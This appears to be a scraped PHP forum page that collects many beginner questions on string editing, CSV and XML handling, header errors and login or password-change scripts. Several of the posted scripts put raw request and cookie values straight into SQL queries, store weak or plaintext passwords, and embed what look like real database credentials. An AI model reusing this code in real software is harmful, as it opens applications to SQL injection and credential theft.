PHP - Modify A String
Hi guys,
this is my first post so be gentle I have a string of ingredients, eg 1kg of salf 20kg of sugar 15kg of something nice This is the portion / mix for 1 person, I would like to make it scalable, so for example multiple all ingredients by for two people etc. So how do I do this with PHP I am guessing a regexp to look at the string and modify each number by the multiplier Any suggestions would be great thanks guys I have tried google and came up empty I think I need to convert the string to an array then modify it? John Similar TutorialsHello All, I am trying to modify a value found in a csv file and I can't seem to figure this out. I already looked into fputcsv and cannot seem to make it work to just modify a value. I have a script now that outputs the csv into a table and displays a count for how many rows there are. I am parsing through a very large file and (for example) I want to replace all instances of the word "Norway" with "it works". Here's what I have so far: Code: [Select] <?php $filename='Test.txt'; $count=0; $c=0; echo '<table border=1>'; $file_handle = fopen($filename, "r+"); while (!feof($file_handle) ) { $parts = fgetcsv($file_handle); echo '<tr><td>'.$count.'</td>'; while($c<=3) { if($parts[$c]=='Norway') { $parts[$c]='It works'; //code to modify the csv value in the file } echo '<td>'. $parts[$c] .'</td>'; $c++; } $c=0; "</tr>"; $count++; } fclose($file_handle); echo '</table>'; ?> I have looked all over and can't find any examples of how to do this. Any help would be greatly apprecieated!!! For right or wrong, I've been using XML to define my Doctrine entities. When the XML changes, my entities need to change. I've automated the process with a simple PHP script which allows me to swap some text to modify one of the auto-generated methods, add methods, etc. Kind of clunky but it works well enough. Now, I recently had the need to remove a given method in its entirety from a given class. I "could" just add the entire string which represents the method name, earlier comments, and script for the method to my parsing script to my parsing script and remove it, but would like to be a little more concise. For instance, say I have $script as follows: $script = <<<'EOT' class SomeEntityClass { //... more stuff above public function getSomething() { return $this->something; } /** * Get foos. * * @return \Doctrine\Common\Collections\Collection */ public function getFoos() { return $this->foos; } /** * Get somethingElse. * */ //... more stuff below } EOT; How would you recommend creating the function: removeFunction($script, 'getFoos') which would remove the given function along with its comments from the $script string and result with? $script = <<<'EOT' class SomeEntityClass { //... more stuff above public function getSomething() { return $this->something; } /** * Get somethingElse. * */ //... more stuff below } EOT; Assuming regex is the way to go, I was thinking of something like the following, but could use some help with the regex expression. function removeFunction($script, $method) { $method="public function $method("; //regex to remove script with which starts after pattern "{\n" OR "**/", contains $method, and is located before pattern "\n{" OR "\n /**" return $script; } Thanks I'm wondering how I can use the following code to capture the current url...... Code: [Select] <?php function curPageURL() { $pageURL = 'http'; if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";} $pageURL .= "://"; if ($_SERVER["SERVER_PORT"] != "80") { $pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"]; } else { $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]; } return $pageURL; } ?> <?php echo curPageURL(); ?> and then have the output modified to change the domain name and create a link. Example: before - http://website1.com/page after - http://website2.com/page I think this would be done using function modify_url, but I'm not sure how to do it, any help would be greatly appreciated. Thanks how do I modify the date coming from the database in YYYY-MM-DD format to MM-DD-YYYY? Hi Folks, i am a bit stuck on how to proceed with the following and could use some input. I have a table with a whole bunch of zipcodes and places. A lot of the zipcodes are repeated and i would like to merge them e.g. 7 | 07677 | WOODCLIFF LAKE | New Jersey | 41.02 | -74 8 | 07677 | WESTWOOD | New Jersey | 41.02 | -74 9 | 07677 | WOODCLIFF LK | New Jersey | 41.02 | -74 What i would like to do is merge these into one line then delete the obsolete ones e.g. 7 | 07677 | WOODCLIFF LAKE | WESTWOOD, WOODCLIFF LK | New Jersey | 41.02 | -74 Obviously not all the zipcodes are duplicated, and with 70 odd thousand lines its a bit daunting to go through them manually. Any pointers would be useful. Hi, I am trying to make some adjustments to uploadify.php which comes with the latest version of uploadify (3.0 beta), so that it works with a session variable that stores the login username and adds it to the path for uploads. Here is uploadify.php as it currently looks: Code: [Select] <?php session_name("MyLogin"); session_start(); $targetFolder = '/songs/' . $_SESSION['name']; // Relative to the root if (!empty($_FILES)) { $tempFile = $_FILES['Filedata']['tmp_name']; $targetPath = $_SERVER['DOCUMENT_ROOT'] . $targetFolder; $targetFile = rtrim($targetPath,'/') .'/'. $_FILES['Filedata']['name']; // Validate the file type $fileTypes = array('m4a','mp3','flac','ogg'); // File extensions $fileParts = pathinfo($_FILES['Filedata']['name']); if (in_array($fileParts['extension'],$fileTypes)) { move_uploaded_file($tempFile,$targetFile); echo '1'; } else { echo 'Invalid file type.'; } } echo $targetFolder; ?> I added Code: [Select] echo $targetFolder; at the bottom so that I could make sure that the string returned was correct, and it is, i.e. '/songs/nick'. For some reason though, uploads are not going to the correct folder, i.e. the username folder, but instead are going to the parent folder 'songs'. The folder for username exists, with correct permissions, and when I manually enter Code: [Select] $targetFolder = '/songs/nick';all works fine. Which strikes me as rather strange. I have limited experience of using php, but wonder how if the correct string is returned by the session variable, the upload works differently than with the manually entered string. Any help would be much appreciated. It's the last issue with a website that was due to go live 2 days ago! Thanks, Nick Hello all, I'm trying to change the end of a javascript call based on the end of the url string. The common part of all the url strings is sobi2Id=, I'm trying to do this with strstr but am having no luck. I'm new to php so my syntax knowledge is terrible! at the moment i've got Code: [Select] <?php $url = $_SERVER['REQUEST_URI']; $tag = strstr ($url, 'sobi2Id='); echo $tag; ?> but this returns an unexpected T_STRING, expecting ',' or ';' Can anyone debug this? I may well be being really silly! This topic has been moved to PHP Regex. http://www.phpfreaks.com/forums/index.php?topic=326004.0 Hey there, Thanks for taking the time to read my thread. My issue is that I can't think of a way to edit a XML file using PHP's XML functionality and then assign the edited contents to a string instead of saving the file. Because my issue is that I have to edit the XML file based upon a string brought from a remote location then give it back to that remote location using a string again, to be exact I am doing it via Linux command line utilizing SSH2. This is what I managed to complete on my own. function CheckIVMPConfig($ServerID) { global $Panel; if(is_numeric($ServerID) && $this->IsValidServer($ServerID)) { // We select the game server that the FTP account was created for. $Servers = mysql_query("SELECT * FROM control_servers WHERE server_id = '".mysql_real_escape_string($FTPAccount['ftp_server'])."'"); $Server = mysql_fetch_array($Servers); // Here we select the Box ID that the game server is on. $Boxs = mysql_query("SELECT * FROM control_machines WHERE machine_id = '".$Server['server_machine']."'"); $Box = mysql_fetch_array($Boxs); // Now we select the required package for the box. $Packages = mysql_query("SELECT * FROM control_packages WHERE package_id = '".$Server['server_package']."'"); $Package = mysql_fetch_array($Packages); // Retrive the file. $Config = $CProtocol->exec("cat /home/{$Server['server_id']}/{$Package['package_config']}"); $Parse = SimpleXMLElement($Config); foreach($Parse as $Entry) // loop through our books { if($Entry->port != $Server['server_port']) { // edit the value } else if($Entry->maxplayers > $Server['server_slots']) { // edit the value } } } } Code: [Select] <?php { $name=$_POST["txtGiven"]; $surname=$_POST["txtFamily"]; $user=$_POST["txtUser"]; $email=$_POST["txtEmail"]; $password=$_POST["txtPassword"]; $query="INSERT INTO Customer(Firstnames,Surname,Username,Email,Password) VALUES('$name','$surname','$user','$email','$password')"; include"connection.php"; $result=mysql_query($query)or die("Error in query: $query. ".mysql_error());; header("Location: userReceipt.php"); mysql_close($connection); } ?> ive tried removing all the spaces from all my php pages. That is the most common solution that comes up and nothing seems to work. I also have a login page where the same error is i have problem when adding a subject it got two subject that need to be selected by teacher , management sub and DBMS sub.. said Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\PhpProject3\navhead_user.php:57) in C:\xampp\htdocs\PhpProject3\teacher_add_subject.php on line 104.. when i select one of them it appear that error.. but when i select DBMS it inserted the subject but with error.. let say 1st i selecting management as the subject, it occur error but after refresh the page it appear in the list of the teacher subject then i add another subject DBMS subject and it occur error but the management subject is dissappear from the teach subject list.. but i try to add the management subject again it said it existed but not listed.. but in my database it inside there already only the data not appear..
navhead_user.php
<div class="row-fluid"> <div class="span12"> <div class="navbar navbar-fixed-top navbar-inverse"> <div class="navbar-inner"> <div class="container"> <!-- .btn-navbar is used as the toggle for collapsed navbar content --> <a class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse"> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </a> <!-- Be sure to leave the brand out there if you want it shown --> <!-- Everything you want hidden at 940px or less, place within here --> <div class="nav-collapse collapse"> <!-- .nav, .navbar-search, .navbar-form, etc --> <i class="icon-facebook-sign icon-large" id="color_white"></i> <i class="icon-twitter icon-large" id="color_white"></i> <i class="icon-google-plus icon-large" id="color_white"></i> <i class="icon-github-alt icon-large" id="color_white"></i> <i class="icon-linkedin-sign icon-large" id="color_white"></i> <div class="pull-right"> <form class="navbar-search pull-left"> <i class="icon-search icon-large" id="color_white"></i> <input type="text" class="search-query" placeholder="Search"> </form> </div> <!-- end collapse --> </div> </div> </div> </div> <div class="hero-unit-header"> <div class="container"> <div class="row-fluid"> <div class="span12"> <div class="row-fluid"> <div class="span6"> <img src="admin/images/head.png"> </div> <div class="span6"> <div class="pull-right"> <!--- login button --> <?php $student_query=mysql_query("select * from teacher where teacher_id='$session_id'")or die(mysql_error()); $teacher_row= mysql_fetch_array($student_query); ?> <img src="admin/<?php echo $teacher_row['location']; ?>" class="img img-rounded" id="picture"> <div class="btn-group"> <button class="btn btn-success"><i class="icon-user icon-large"></i> <?php echo $user_row['firstname'] . " " . $user_row['lastname']; ?></button> <button class="btn dropdown-toggle" data-toggle="dropdown"> <span class="caret"></span> </button> <ul class="dropdown-menu"> <li><a href="#logout" role="button" data-toggle="modal"><i class="icon-signout icon-large"></i> Logout</a></li> </ul> </div> <?php include('logout_modal.php') ?> </div> </div> </div> </div> </div> </div> </div>teacher_add_subject.php <?php include ('session.php'); ?> <?php include('header.php'); $user_query = mysql_query("select * from teacher where teacher_id='$session_id'") or die(mysql_error()); $user_row = mysql_fetch_array($user_query); ?> <body> <?php include('navhead_user.php'); ?> <div class="container"> <div class="row-fluid"> <div class="span3"> <div class="hero-unit-3"> <div class="alert-index alert-success"> <i class="icon-calendar icon-large"></i> <?php $Today = date('y:m:d'); $new = date('l, F d, Y', strtotime($Today)); echo $new; ?> </div> </div> <div class="hero-unit-1"> <ul class="nav nav-pills nav-stacked"> <li class="nav-header">Links</li> <li> <a href="teacher_home.php"><i class="icon-home icon-large"></i> Home <div class="pull-right"> <i class="icon-double-angle-right icon-large"></i> </div> </a> </li> <li> <a href="teacher_class.php"><i class="icon-group icon-large"></i> Class <div class="pull-right"> <i class="icon-double-angle-right icon-large"></i> </div> </a></li> <li class="active"><a href="teacher_subject.php"><i class="icon-file-alt icon-large"></i> Subjects <div class="pull-right"> <i class="icon-double-angle-right icon-large"></i> </div> </a></li> <li><a href="students.php"><i class="icon-group icon-large"></i> Students <div class="pull-right"> <i class="icon-double-angle-right icon-large"></i> </div> </a></li> </ul> </div> </div> <div class="span9"> <a href="teacher_subject.php" class="btn btn-success"><i class="icon-arrow-left icon-large"></i> Back</a> <br> <br> <div class="alert alert-info"> <button type="button" class="close" data-dismiss="alert">×</button> <strong><i class="icon-user icon-large"></i> Add Subject</strong> </div> <div class="hero-unit-2"> <form class="form-horizontal" method="POST"> <div class="control-group"> <label class="control-label" for="inputEmail">Subject</label> <div class="controls"> <select name="subject" class="span6"> <option></option> <?php $query = mysql_query("select * from subject") or die(mysql_error()); while ($row = mysql_fetch_array($query)) { ?> <option value="<?php echo $row['subject_id']; ?>"><?php echo $row['subject_title']; ?></option> <?php } ?> </select> </div> </div> <div class="control-group"> <div class="controls"> <button type="submit" name="save_subject" class="btn btn-success"><i class="icon-plus-sign icon-large"></i> Add Subject</button> </div> <br> <?php if (isset($_POST['save_subject'])) { $subject = $_POST['subject']; $result = mysql_query("select * from teacher_suject where teacher_id='$session_id' and subject_id='$subject'") or die(mysql_error()); $count = mysql_num_rows($result); if ($count > 0) { ?> <div class="alert alert-danger">Subject <strong>Already Exist</strong></div> <?php } else { mysql_query("insert into teacher_suject (subject_id,teacher_id) values('$subject','$session_id')") or die(mysql_error()); header('location:teacher_subject.php'); } } ?> </div> </form> <!-- end slider --> </div> </div> </div> <?php include('footer.php'); ?> </div> </div> </div> </body> </html>teacher_subject.php <?php include ('session.php'); ?> <?php include('header.php'); $user_query = mysql_query("select * from teacher where teacher_id='$session_id'") or die(mysql_error()); $user_row = mysql_fetch_array($user_query); ?> <body> <?php include('navhead_user.php'); ?> <div class="container"> <div class="row-fluid"> <div class="span3"> <div class="hero-unit-3"> <div class="alert-index alert-success"> <i class="icon-calendar icon-large"></i> <?php $Today = date('y:m:d'); $new = date('l, F d, Y', strtotime($Today)); echo $new; ?> </div> </div> <div class="hero-unit-1"> <ul class="nav nav-pills nav-stacked"> <li class="nav-header">Links</li> <li> <a href="teacher_home.php"><i class="icon-home icon-large"></i> Home <div class="pull-right"> <i class="icon-double-angle-right icon-large"></i> </div> </a> </li> <li> <a href="teacher_class.php"><i class="icon-group icon-large"></i> Class <div class="pull-right"> <i class="icon-double-angle-right icon-large"></i> </div> </a></li> <li class="active"><a href="teacher_subject.php"><i class="icon-file-alt icon-large"></i> Subjects <div class="pull-right"> <i class="icon-double-angle-right icon-large"></i> </div> </a></li> <li><a href="students.php"><i class="icon-group icon-large"></i> Students <div class="pull-right"> <i class="icon-double-angle-right icon-large"></i> </div> </a></li> </ul> </div> </div> <div class="span9"> <a href="teacher_add_subject.php" class="btn btn-success"><i class="icon-plus-sign icon-large"></i> Add Subject</a> <br> <br> <div class="hero-unit-3"> <table cellpadding="0" cellspacing="0" border="0" class="table table-striped table-bordered" id="example"> <div class="alert alert-info"> <button type="button" class="close" data-dismiss="alert">×</button> <strong><i class="icon-user icon-large"></i> Subject Table</strong> </div> <thead> <tr> <th>Course Code</th> <th>Course Description</th> <th>Action</th> </tr> </thead> <tbody> <?php $teacher_subject_query = mysql_query("select * from teacher_suject where teacher_id='$session_id'") or die(mysql_error()); $teacher_row = mysql_fetch_array($teacher_subject_query); $subject_id = $teacher_row['subject_id']; $query = mysql_query("select * from subject where subject_id = '$subject_id'") or die(mysql_error()); while ($row = mysql_fetch_array($query)) { $id = $row['subject_id']; ?> <!-- script --> <script type="text/javascript"> $(document).ready(function(){ $('#d<?php echo $subject_id; ?>').tooltip('show') $('#d<?php echo $subject_id; ?>').tooltip('hide') }); </script> <!-- end script --> <!-- script --> <script type="text/javascript"> $(document).ready(function(){ $('#e<?php echo $subject_id; ?>').tooltip('show') $('#e<?php echo $subject_id; ?>').tooltip('hide') }); </script> <!-- end script --> <tr class="odd gradeX"> <td><?php echo $row['subject_code']; ?></td> <td><?php echo $row['subject_title']; ?></td> <td width="50"> <a rel="tooltip" title="Delete Subject" id="d<?php echo $subject_id; ?>" href="#id<?php echo $id; ?>" role="button" data-toggle="modal" class="btn btn-danger"><i class="icon-trash icon-large"></i> </a> </td> <!-- user delete modal --> <div id="id<?php echo $id; ?>" class="modal hide fade" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true"> <div class="modal-header"> </div> <div class="modal-body"> <div class="alert alert-danger">Are you Sure you Want to <strong>Delete</strong> this Subject?</div> </div> <div class="modal-footer"> <button class="btn" data-dismiss="modal" aria-hidden="true"><i class="icon-remove icon-large"></i> Close</button> <a href="delete_teacher_course.php<?php echo '?id=' . $course_id; ?>" class="btn btn-danger"><i class="icon-trash icon-large"></i> Delete</a> </div> </div> <!-- end delete modal --> </tr> <?php } ?> </tbody> </table> <!-- end slider --> </div> </div> </div> <?php include('footer.php'); ?> </div> </div> </div> </body> </html> Edited by aquilina, 26 May 2014 - 04:43 PM. Hey guys, I've searched on Google for this and have had no luck, and you guys have been EXTREMELY helpful with a few of my previous questions! Alright the error I get is: Warning: Cannot modify header information - headers already sent by (output started at /****/header.php:6) in /***/*login.php on line 65 Errr.. After I posted this I saw the Sticky regarding Header posts.. I read the post and cannot find where the issue is with this.. The PHP code comes before the form information, am I missing something? My login.php script is: Code: [Select] <?php include("header.php"); mysql_connect("10.6.186.84", "gilmdiniz", "Gil19471947") or die(mysql_error()); mysql_select_db("gilmdiniz") or die(mysql_error()); if(isset($_COOKIE['ID_my_site'])) { $username = $_COOKIE['ID_my_site']; $pass = $_COOKIE['Key_my_site']; $check = mysql_query("SELECT * FROM users WHERE username = '$username'")or die(mysql_error()); while($info = mysql_fetch_array( $check )) { if ($pass != $info['password']) { } else echo "SUP";//header($hdir."files.php"); } } if (isset($_POST['submit'])) { if(!$_POST['username'] | !$_POST['pass']) die('<center>You did not fill in a required field! <br /> <a href="'.$hdir.'login.php"> Back to Login </a> </center>'); if (!get_magic_quotes_gpc()) $_POST['email'] = addslashes($_POST['email']); $check = mysql_query("SELECT * FROM users WHERE username = '".$_POST['username']."'")or die(mysql_error()); $check2 = mysql_num_rows($check); if ($check2 == 0) die('<center>This username does not exist in our database, sorry. <br /> <a href="'.$hdir.'login.php"> Back to Login </a> </center>'); while($info = mysql_fetch_array( $check )) { $_POST['pass'] = stripslashes($_POST['pass']); $info['password'] = stripslashes($info['password']); $_POST['pass'] = md5($_POST['pass']); if ($_POST['pass'] != $info['password']) die('<center>Incorrect password, please try again. <br /> <a href="'.$hdir.'login.php"> Back to Login </a> </center>'); else { $_POST['username'] = stripslashes($_POST['username']); $hour = time() + 3600; setcookie(ID_my_site, $_POST['username'], $hour); setcookie(Key_my_site, $_POST['pass'], $hour); echo "SUP";//header($hdir."files.php"); } } } else { ?> <center> <a href="<?php echo $hdir .'index.php'; ?>"> Back to Home </a> <table border="1"> <tr><td> <center><h2>Login Information</h2></center> </td></tr> <tr><td> <form action="<?php echo $_SERVER['PHP_SELF']?>" method="post"> <table border="0"> <tr><td> Username: </td><td> <input type="text" name="username" maxlength="40"> </td></tr> <tr><td> Password: </td><td> <input type="password" name="pass" maxlength="50"> </td></tr> <tr><td colspan="2" align="right"> <input type="submit" name="submit" value="Login"> </td></tr> </table> </form> </td></tr> </table> </center> <?php } ?> and my header.php script is: Code: [Select] <?php $hdir = "http://www.ondemandagents.com/NewSite_ALPHA/"; ?> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <link rel="stylesheet" type="text/css" href="<?php echo $hdir .'style.css'; ?>" /> </head> <body> <table width="920" cellspacing="0" cellpadding="10" border="0" align="center"> <tr> <td class="bodyline"> <table align="center" border="0" width="635" height="121" background="<?php echo $hdir .'images/logo.png'; ?>"> <tr> <td height="69"> <table border="0" width="635" height="106"> <tr> <td width="800" height="70"> </td> <td width="600" height="70"> </td> </tr> <tr> <td width="400" height="18"> </td> <td width="600" height="18"> <a href="<?php echo $hdir .'index.php'; ?>" style="text-decoration: none"> <img src="<?php echo $hdir .'images/icon_mini_home.gif'; ?>" width="12" height="13" border="0" alt="Home" hspace="3" /> <font face="Arial" color="#FFFFFF" size="2">Home </font></a> <a href="<?php echo $hdir .'files.php'; ?>" style="text-decoration: none"> <img src="<?php echo $hdir .'images/icon_mini_files.gif'; ?>" width="12" height="13" border="0" alt="Files" hspace="3" /> <font face="Arial" color="#FFFFFF" size="2">Files </font></a> <a href="<?php echo $hdir .'admin.php'; ?>" style="text-decoration: none"> <img src="<?php echo $hdir .'images/icon_mini_login.gif'; ?>" width="12" height="13" border="0" alt="Administration" hspace="3" /> <font face="Arial" color="#FFFFFF" size="2">Administration</font></a> </td> </tr> </table> </td> </tr> </table> </td> </tr> </table> I have been using a header file in all my pages and scripts so far so that I wouldn't have to keep typing repetitive code.. Help is MUCH appreciated! Thanks in advance guys i Have a php code... Code: [Select] <?php session_start(); if(@$_SESSION['ls']!=="loggedin" ) { header('Location: login.php'); die (" "); } if($_GET['via']=="pre_pass") { $prepass=$_POST['currentpassword']; $newpass=$_POST['newpass']; $renewpass=$_POST['renewpass']; /*$answer=$_POST['answer']; &newpassword=$_POST['newpassword']; */ if($prepass!=NULL && $newpass!=NULL && $renewpass!=NULL ) { if(strlen($prepass)==0 || strlen($newpass)==0 || strlen($renewpass)==0) { session_start(); $_SESSION['status']="Please fill out all the fields"; header('location:change_password.php?via=previous_password'); die(" "); } if(strlen($prepass)<6 || strlen($newpass)<6 || strlen($renewpass)<6) { session_start(); $_SESSION['status']="All fields must have atleast 6 characters"; header('location:change_password.php?via=previous_password'); die(" "); } if(strcmp($newpass, $renewpass)!=0 && strlen($prepass)>=6 && strlen($newpass)>=6 && strlen($renewpass)>=6 ) { session_start(); $_SESSION['status']="New password does not match with each other"; header('location:change_password.php?via=previous_password'); die(" "); } if(strcmp($prepass, $newpass)==0) { session_start(); $_SESSION['status']="New password and Previous Password must be different"; header('location:change_password.php?via=previous_password'); die(" "); } mysql_connect ("localhost:3306", "feadmin1","lycosanmamba" ) or die ('Error connecting database'); mysql_select_db ("fe_user_info"); $reguserpassword = stripslashes($prepass); $reguserpassword = mysql_real_escape_string($reguserpassword); $newpass = stripslashes($newpass); $newpass = mysql_real_escape_string($newpass); $sql = "select * from user_info where id='$_SESSION[id]' and password='$reguserpassword'"; $res=mysql_query($sql); $count=mysql_num_rows($res); if($count=='1') { $query= "UPDATE user_info SET password='".$newpass."' WHERE id='$_SESSION[id]'"; mysql_query($query); session_start(); $_SESSION['status']="Password Successfully Changed"; $_SESSION['mail']="positive"; include("mail/pasword_change_verify_mail.php"); header('location:change_password.php?via=previous_password'); die(" "); } if($count!='1') { session_start(); $_SESSION['status']="Password you entered does not match with our records"; header('location:change_password.php?via=previous_password'); die(" "); } } } if($_GET['via']=="sec_ques") { $answer=$_POST['answer']; $newpassword=$_POST['newpassword']; if($answer!=NULL && $newpassword!=NULL) { include('db_connectivity.php'); $sql2 = "select * from user_info where id='$_SESSION[id]' and security_answer='$answer'"; $res2=mysql_query($sql2); $count2=mysql_num_rows($res2); if(strlen($newpassword)<6) { session_start(); $_SESSION['status']="Password must have atleast 6 characters"; header('location:change_password.php?via=security_question'); die(" "); } if($count2=='1') {include('db_connectivity.php'); $newpassword = stripslashes($newpassword); $newpassword = mysql_real_escape_string($newpassword); $query= "UPDATE user_info SET password='".$newpassword."' WHERE id='$_SESSION[id]'"; mysql_query($query); session_start(); $_SESSION['status']="Password Successfully Changed"; $_SESSION['mail']="positive"; include("mail/pasword_change_verify_mail.php"); header('location:change_password.php?via=security_question'); die(" "); } else { session_start(); $_SESSION['status']="Answer to this security question is incorrect"; header('location:change_password.php?via=security_question'); die(" "); } } } ?> but when i run this code it shows me the error.. Warning: Cannot modify header information - headers already sent by (output started at C:.................................:2) in C:\...............................\verify_change_password.php on line 118 CODE BETWEEN LINE 110-120 is Code: [Select] $newpassword = mysql_real_escape_string($newpassword); $query= "UPDATE user_info SET password='".$newpassword."' WHERE id='$_SESSION[id]'"; mysql_query($query); session_start(); $_SESSION['status']="Password Successfully Changed"; $_SESSION['mail']="positive"; include("mail/pasword_change_verify_mail.php"); header('location:change_password.php?via=security_question'); die(" "); } and code of tp 5 line is : Code: [Select] <?php session_start(); if(@$_SESSION['ls']!=="loggedin" ) { header('Location: login.php'); die (" "); } Hi,
I'm trying to modify a search code but I'm not able to get any results and I'm not getting any errors.
The page is supposed to allow the user to search by one or multiple fields and return the according results.
The code was originally using the depreciated MySQL and I was trying to modify to MYSQLI.
I'm not sure that I'm using it correctly.
I have attached the files. If anyone can look at it and possibly correct it I'd greatly appreciate it.
Attached Files:
index.html - User Search Page
search.php - Search Code
Users.txt - Data I've been using (rename to csv).
I'm using WAMP.
Thanks,
Mitka
Attached Files
index.html 521bytes
3 downloads
search.php 1.53KB
4 downloads
Users.txt 916bytes
0 downloads Hey guys im getting the error Warning: Cannot modify header information - headers already sent by (output started at /home/kylegray/public_html/include/authenticate.php:12) in /home/kylegray/public_html/home.php on line 7 Any idea why this is coming up. I think its something to to with me setting the cookie setcookie("un", $id); but im not sure. home.php Code: [Select] <? include("include/config.php"); //$_SESSION["backpage"]=$_SERVER['PHP_SELF']; if($_SESSION["client_log"]!="true"){ session_unregister("MemberArea"); header("Location: index.php?redirect=".basename($_SERVER['PHP_SELF'])); exit(); } ?> authenticate.php Code: [Select] <?php include("include/required.php"); include("include/pagedetails.php"); include_once("include/authenticate.php"); $tblName = $tbluser; $id=$_SESSION["id"]; setcookie("un", $id); $ImgPath="$CatImage/"; $ImgPathsing="$SingUPImage/"; ?> i'm having trouble working with my search bar, when i used wamp it worked but now online i keep getting this message Quote Cannot modify header information - headers already sent by (output started at...) I placed that code for the search bar above the html tags but i keep getting the error here is my coding Code: [Select] <?php mysql_connect("localhost", "user", "pass") or die(mysql_error()); if (isset($_POST['submit'])) { $search = mysql_real_escape_string($_POST['search']); $type = mysql_real_escape_string($_POST['type']); if ($type == true) { header("Location:http://www.link.com/searchresults.php?subdirectory=$search&type=$type"); } } ?> Quote Warning: Cannot modify header information - headers already sent by (output started at /home3/nyhungry/public_html/storeprueba/storescripts/connect_to_mysql.php:2) in /home3/nyhungry/public_html/storeprueba/storeadmin/admin_login.php on line 29 What can I do to fix the error where a second header is called, needed but intervening admin_login.php Code: [Select] <?php session_start(); if (isset($_SESSION["manager"])) { header("location:index.php"); exit(); } ?> <?php if (isset($_POST["username"]) && isset($_POST["password"])) { $manager = preg_replace('#[^A-Za-z0-9]#i', '', $_POST["username"]); // filter everything but numbers and letters $password = preg_replace('#[^A-Za-z0-9]#i', '', $_POST["password"]); // filter everything but numbers and letters include "../storescripts/connect_to_mysql.php"; $sql = mysql_query( "SELECT id FROM admin WHERE username='$manager' AND password='$password' LIMIT 1"); $existCount = mysql_num_rows($sql); if ($existCount == 1) { while($row = mysql_fetch_array($sql)) { $id = $row["id"]; } $_SESSION["id"] = $id; $_SESSION["manager"] = $manager; $_SESSION["password"] = $password; header("location:index.php"); exit(); } else { echo 'That information is incorrect, try again <a href="index.php">Click Here</a>'; exit(); } } ?> is the second header here like below in the code clashing? because in the connect_to_mysql.php there is no headers Code: [Select] <?php $_SESSION["id"] = $id; $_SESSION["manager"] = $manager; $_SESSION["password"] = $password; header("location:index.php"); exit(); <? This topic has been moved to Third Party PHP Scripts. http://www.phpfreaks.com/forums/index.php?topic=310049.0 Hi everybody, I have this code that allows me to appoint specific categories to box 1 , box 2, ... The problem is that it doesn't show first level subcategories. I have another code that shows sub-categories for the main categories but it doesn't allow me to appoint specific categories to the categories box that I want. I try to mix that two codes so it can allow me to show sub-categories and also allow me to appoint specific categories to the categories boxes. But to my limited php knowledge, I spent weeks to make it happen but no rusult. So Can any pro php coder help to make this happen? or can you point me to the right direction. Your help is greatly appriciate. Thank you. This is the code that allow you to appoint specific categories to specific categories box: Code: [Select] <?php /* $Id: categories.php,v 1.25 2003/07/09 01:13:58 hpdl Exp $ */ function new_tep_show_category($boxId,&$cPath_array,&$tree,$counter) { global $cat_name; // CategoryBox Enhancement for ($i=0; $i<$tree[$counter]['level']; $i++) $categories_string = " "; // $cPath_new = 'cPath=' . $tree[$counter]['path']; // CategoryBox Enhancement $categories_string .= '<b><a href="'; $cPath_new = 'cPath=' . $tree[$counter]['path']; // $categories_string .= tep_href_link(FILENAME_DEFAULT, $cPath_new) . '">'; // CategoryBox Enhancement $categories_string .= tep_href_link(FILENAME_DEFAULT, $cPath_new) . '">'; if ($boxId == $_SESSION['infoBox'] && isset($cPath_array) && in_array($counter, $cPath_array)) { // commented for CategoryBox Enhancement $categories_string .= '<b>' . $tree[$counter]['name'] . '</b>'; $categories_string .= '<b>'; // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '<span class="errorText">'; } // CategoryBox Enhancement $categories_string .= $tree[$counter]['name']; // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '</span>'; } // CategoryBox Enhancement $categories_string .= '</b>'; } else { // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '<b><span class="errorText">'; } // CategoryBox Enhancement $categories_string .= $tree[$counter]['name']; // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '</span></b>'; } // CategoryBox Enhancement } /* commented for CategoryBox Enhancement if (tep_has_category_subcategories($counter)) $categories_string .= '->'; */ $categories_string .= '</a>'; if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($counter); if ($products_in_category > 0) $categories_string .= ' (' . $products_in_category . ')'; } $categories_string .= '<br>'; if ($tree[$counter]['next_id'] != false) $categories_string .= new_tep_show_category($boxId,$cPath_array,$tree,$tree[$counter]['next_id']); return $categories_string; } function tep_categories_box($boxId,&$infoBox,$follow_cPath,&$cPath_array) { global $languages_id; $info_box_contents = array(); $info_box_contents[] = array('text' => $infoBox['name']); new infoBoxHeadingCategories($info_box_contents, true, false); $tree = array(); $categories_query = tep_db_query("select c.categories_id, cd.categories_name, c.parent_id from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.parent_id = '0' and c.categories_id in (".implode(',',$infoBox['categories']).") and c.categories_id = cd.categories_id and cd.language_id='" . (int)$languages_id ."' order by sort_order, cd.categories_name"); while ($categories = tep_db_fetch_array($categories_query)) { $tree[$categories['categories_id']] = array( 'name' => $categories['categories_name'], 'parent' => $categories['parent_id'], 'level' => 0, 'path' => $categories['categories_id'], 'next_id' => false ); if (isset($parent_id)) $tree[$parent_id]['next_id'] = $categories['categories_id']; $parent_id = $categories['categories_id']; if (!isset($first_element)) $first_element = $categories['categories_id']; } //------------------------ if ($follow_cPath) { $new_path = ''; reset($cPath_array); while (list($key, $value) = each($cPath_array)) { unset($parent_id); unset($first_id); $categories_query = tep_db_query("select c.categories_id, cd.categories_name, c.parent_id from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.parent_id = '" . (int)$value . "' and c.categories_id = cd.categories_id and cd.language_id='" . (int)$languages_id ."' order by sort_order, cd.categories_name"); if (tep_db_num_rows($categories_query)) { $new_path .= $value; while($row = tep_db_fetch_array($categories_query)) { $tree[$row['categories_id']] = array( 'name' => $row['categories_name'], 'parent' => $row['parent_id'], 'level' => $key+1, 'path' => $new_path . '_' . $row['categories_id'], 'next_id' => false ); if (isset($parent_id)) $tree[$parent_id]['next_id'] = $row['categories_id']; 